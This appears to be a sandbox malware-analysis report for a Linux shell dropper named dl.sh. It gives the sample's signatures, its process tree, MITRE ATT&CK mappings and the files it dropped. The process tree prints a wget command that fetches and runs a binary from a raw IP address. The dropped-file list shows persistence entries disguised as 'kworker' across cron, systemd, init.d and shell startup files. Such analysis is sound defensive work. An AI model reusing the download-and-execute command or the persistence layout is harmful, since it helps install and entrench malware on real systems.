Overview

overview

7

Static

static

1

dl.sh

ubuntu-18.04-amd64

7

dl.sh

debian-9-armhf

7

dl.sh

debian-9-mips

7

dl.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/09/2026, 18:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dl.sh
  • Size 967B
  • Sample260930-w3prbseh69
  • SHA256 80c037e588151489795c5b5f6d17e20a07b9fa49295effc521ec331116854079
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 5 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 4 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 5 IoCs
    persistence
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:1540
    • /bin/uname
      uname -m
      2⤵
        PID:1543
      • /bin/chmod
        chmod +x .xt
        2⤵
        • File and Directory Permissions Modification
        PID:1544
      • /var/tmp/.xt
        ./.xt
        2⤵
          PID:1545
        • /bin/rm
          rm -f .xt
          2⤵
            PID:1546
          • /bin/rm
            rm -f w
            2⤵
              PID:1547
            • /usr/bin/wget
              wget -qO w http://23.95.228.20/wife.x86_64
              2⤵
                PID:1548
              • /bin/chmod
                chmod +x w
                2⤵
                • File and Directory Permissions Modification
                PID:1555
              • /var/tmp/w
                ./w
                2⤵
                • Creates/modifies Cron job
                • Creates/modifies environment variables
                • Enumerates active TCP sockets
                • Modifies init.d
                • Modifies rc script
                • Modifies systemd
                • Write file to user bin folder
                • Modifies Bash startup script
                • Changes its process name
                • Reads system network configuration
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:1556
              • /bin/rm
                rm -f w
                2⤵
                  PID:1558
                • /bin/rm
                  rm -f /tmp/dl.sh
                  2⤵
                    PID:1560

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Persistence

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Boot or Logon Initialization Scripts

                      2
                      T1037

                      RC Scripts

                      2
                      T1037.004

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Event Triggered Execution

                      1
                      T1546

                      Unix Shell Configuration Modification

                      1
                      T1546.004

                      Hijack Execution Flow

                      1
                      T1574

                      Path Interception by PATH Environment Variable

                      1
                      T1574.007

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      4
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Boot or Logon Initialization Scripts

                      2
                      T1037

                      RC Scripts

                      2
                      T1037.004

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Event Triggered Execution

                      1
                      T1546

                      Unix Shell Configuration Modification

                      1
                      T1546.004

                      Hijack Execution Flow

                      1
                      T1574

                      Path Interception by PATH Environment Variable

                      1
                      T1574.007

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Linux and Mac File and Directory Permissions Modification

                      1
                      T1222.002

                      Hijack Execution Flow

                      1
                      T1574

                      Path Interception by PATH Environment Variable

                      1
                      T1574.007

                      Credential Access

                      Discovery

                      System Information Discovery

                      1
                      T1082

                      System Network Configuration Discovery

                      1
                      T1016

                      Internet Connection Discovery

                      1
                      T1016.001

                      System Network Connections Discovery

                      1
                      T1049

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      kworker
                      • Path /etc/cron.d/kworker
                      • Size 113B
                      • SHA256 13f0acdbf55ce1f4cbe4bd66a713a6f2baf97893eccccf22f47dbda38e5206a5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kworker
                      • Path /etc/cron.hourly/kworker
                      • Size 59B
                      • SHA256 3c4b5f0b1063049c971210ae2d5632494a04841b2d17f42e7dbaafffdb32d361
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kworker
                      • Path /etc/dhcp/dhclient-enter-hooks.d/kworker
                      • Size 75B
                      • SHA256 20dee1d5f755cef80a1d8fb6a589da294664c2880849a2c61b58a9e2fa916bc3
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kworker
                      • Path /etc/init.d/kworker
                      • Size 118B
                      • SHA256 eb5be8efa8827ad8257775ca199bd29fa4f20a1e4cc8a3e6d9dd381efbc20e4d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kworker.sh
                      • Path /etc/profile.d/kworker.sh
                      • Size 66B
                      • SHA256 afdf673e11a9cc7d0df7751150559fe51ca70d9498212fa8b5b59738e5c7e4f5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      sshrc
                      • Path /etc/ssh/sshrc
                      • Size 65B
                      • SHA256 53896701c660762c02318d61d5040dfc445ed29d786a258e975cbc22c4215af5
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kworker.service
                      • Path /etc/systemd/system/kworker.service
                      • Size 219B
                      • SHA256 da117dd0b8c7f6f576abac1c412c7f120a47a7b1a182b72bdc7629a99d943d0d
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      kworker
                      • Path /etc/update-motd.d/kworker
                      • Size 66B
                      • SHA256 c0dc3521aebc636e00344fb1eecd1511dcfa6a2d87a3f91f5de61ce6fa2945ef
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      .kwlog
                      • Path /tmp/.kwlog
                      • Size 329B
                      • SHA256 8b35d4c3dae5e90d0a133714d0cfa9b059aae6ffb3d993b76dff5613f19e5818
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      wife.lock
                      • Path /tmp/wife.lock
                      • Size 5B
                      • SHA256 f1d1cffb33081b7928c59c3197b56269dec4279505d063caa3339df17a337ea3
                      • MD5 SHA1 SHA512
                      Submit Download

                      root
                      • Path /var/spool/cron/crontabs/root
                      • Size 62B
                      • SHA256 d6c191645f68f9681590f97c09b444992ed52f693c046c877e19a70e22a77ab1
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      .xt
                      • Path /var/tmp/.xt
                      • Size 10B
                      • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                      • MD5 SHA1 SHA512
                      Submit Download

                      .xt
                      • Path /var/tmp/.xt
                      • Size 17B
                      • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
                      • MD5 SHA1 SHA512
                      Submit Download

                      w
                      • Path /var/tmp/w
                      • Size 77KB
                      • SHA256 c74431bc2226f14650109f67068793b543ff47e9dfac808e9caf8d2ceae02fd2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download